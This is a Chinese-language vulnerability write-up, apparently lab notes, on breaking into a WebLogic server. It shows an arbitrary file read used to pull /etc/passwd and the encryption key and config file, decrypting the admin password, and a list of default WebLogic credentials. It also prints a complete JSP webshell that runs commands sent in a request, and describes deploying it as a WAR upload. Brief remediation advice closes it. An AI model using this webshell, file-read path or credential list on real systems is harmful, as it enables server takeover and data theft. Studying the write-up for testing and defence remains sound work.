weblogic [WeakPassword]

一、漏洞描述

开放了wblogic端口，进去发现有任意读取文件漏洞，配合解密工具读出密码，登录后台传入webshell

二、影响版本

当前版本

三、影响组件

weblogic

四、漏洞判断

hello/file.jsp?path=/etc/passwd 发现有任意文件下载

五、漏洞利用 

首先我们先进入weblogic目录，http://192.168.116.144:7001/console/

然后我们访问 /hello/file.jsp?path=security/SerializedSystemIni.dat 

抓包!然后看reponse那堆乱码，右键保存文件，这个是{AES}密钥

​

然后下载 /hello/file.jsp?path=config/config.xml

找到框着的这个 这个是密文

​ 解密，就发现密码啦

​

weblogic的弱口令

system/password

weblogic/weblogic

admin/security

joe/password

mary/password

system/security

wlcsystem/wlcsystem

wlpisystem/wlpisystem

​

 生成webshell

cmd.jsp

<%@ page import="java.io.*" %> <% String cmd =
request.getParameter("cmd"); String output = ""; if(cmd !=
null) { String s = null; try { Process p =
Runtime.getRuntime().exec(cmd); BufferedReader sI = new
BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { output += s +"\r\n"; } } 
catch(IOException e) { e.printStackTrace(); } } 
out.println(output);%>

 生成cmd.war

​上传com.war ​

回显成功 

​

六、漏洞修复

1.设置Config.do页面登录授权后访问；
2.IPS等防御产品可以加入相应的特征；
3.升级到官方最新版本